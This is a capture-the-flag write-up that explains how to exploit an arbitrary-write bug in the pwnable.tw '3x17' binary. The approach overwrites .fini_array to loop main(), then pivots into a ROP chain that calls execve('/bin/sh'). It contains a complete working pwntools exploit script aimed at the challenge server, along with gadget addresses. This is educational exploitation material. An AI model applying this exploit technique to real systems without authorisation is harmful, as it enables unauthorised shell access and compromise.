Exploiting Arbitrary Write via .fini_array in a ropchain

July 4, 2025

In this challenge, the given a binary that is pretty obfuscated, and we need to exploit it to get the flag on the remote server. This was my first time working with .fini_array, so I decided to write a blog post about it.

While reversing the binary, we see that we can use an arbitrary write to an address with arbitrary data.

image1.png

What is .fini_array?

.fini_array is a special section in ELF (Executable and Linkable Format) binaries. It contains an array of function pointers (addresses), and these functions are called after the main() function returns during the program's termination phase. The runtime (the dynamic linker/loader) iterates over .fini_array and calls each function pointer in order, allowing the program to run cleanup code.

Why is it useful?

Some things that we can do with .fini_array, in the case of this challenge:

  • We can overwrite the function pointer in .fini_array to a function that we want to call. Which is main() in our case, because in main() we can overwrite the arbitrary data.
  • We can use it to build a ropchain to call execve("/bin/sh", NULL, NULL) to get a shell.

image5.png

So we keep looping back to the main() function, and we can overwrite the arbitrary data.

How to exploit it?

First, we need to find the address of .fini_array and the address of main(). We find the address of .fini_array in the binary, with:

readelf -S 3x17 | grep .fini_array
[16] .fini_array       FINI_ARRAY       **00000000004b40f0**  000b30f0

Binary Ninja shows it too, even better, and also shows its writable:

image4.png

How to find the addresses?

Its not obvious what the address of main() is because it pretty obfuscated. When we look at the start function, the code that is seen when running the binary, is seen at 0x401b6d, which is the address of main().

image2.png

So now we see in the start function, that after main() is called, it calls .fini_array on 0x402960. This is the trampoline in the start-up code that walks the .fini_array list; re-using it lets us replay the destructor sequence.

Control-flow after main showing fini_array call

Which shows us .fini_array on 0x4b40f0, from the readelf output.

Attack plan

We want to overwrite the function pointer in .fini_array to main(), so we can overwrite the arbitrary data. So lets use the following variables:

_fini_array_addr = 0x4b40f0
_fini_array_caller = 0x402960
_main_addr = 0x401b6d

And we have the following options:

What address do we want to write to? ---> 0x4b40f0
What data do we want to write? ---> p64(_fini_array_caller) + p64(_main_addr)

We want to do the following:

overwrite(_fini_array_addr, p64(_fini_array_caller) + p64(_main_addr))

First we loop main() to gain unlimited arbitrary writes; after all gadgets are in place we overwrite the same entry with leave; ret to pivot into the freshly written ropchain.

Ropchain

We want to build a ropchain to call execve("/bin/sh", NULL, NULL) to get a shell. Use ropper to find the gadgets.

Check the full ropchain in the end of the blog post, before reading the rest of the blog post.

Why those offsets?

When writing the ropchain into .fini_array, each gadget and its argument are 8 bytes (64 bits) on x86_64. We use offsets like +16, +32, +48, +64, etc., to sequentially lay out the ropchain in memory, just like a real stack frame.

Each step is 16 bytes apart because we write a gadget (8 bytes) and its argument (8 bytes) together. This ensures that when the stack is pivoted to .fini_array, the ropchain executes in order, with each gadget and value being popped into the correct register as the chain progresses.

The leave; ret gadget is used to pivot the stack to your ropchain in .fini_array, so execution continues with your controlled sequence of gadgets.

Full exploit code:

from pwn import *
warnings.filterwarnings("ignore", category = BytesWarning)

# io = process('./3x17')
io = remote('chall.pwnable.tw', 10105)

# overwrite function
def overwrite(addr, data):
    io.recvuntil('addr:')
    io.sendline(str(addr))
    io.recvuntil('data:')
    io.send(data)

# Addresses
_fini_array_addr = 0x4b40f0
_fini_array_caller = 0x402960
_main_addr = 0x401b6d
leave_ret = 0x401c4b
syscall = 0x4022b4
pop_rdi = 0x401696
pop_rsi = 0x406c30
pop_rax = 0x41e4af
pop_rdx = 0x446e35
bin_sh = _fini_array_addr + 88

overwrite(_fini_array_addr, p64(_fini_array_caller) + p64(_main_addr)) #overwrite _fini_array with caller

# ropchain for execve()
overwrite(_fini_array_addr + 16, p64(pop_rdx) + p64(0))
overwrite(_fini_array_addr + 32, p64(pop_rsi) + p64(0))
overwrite(_fini_array_addr + 48, p64(pop_rax) + p64(0x3b)) #execve
overwrite(_fini_array_addr + 64, p64(pop_rdi) + p64(bin_sh))
overwrite(_fini_array_addr + 80, p64(syscall) + b'/bin/sh\x00')
overwrite(_fini_array_addr, p64(leave_ret))

io.interactive()

Try it yourself here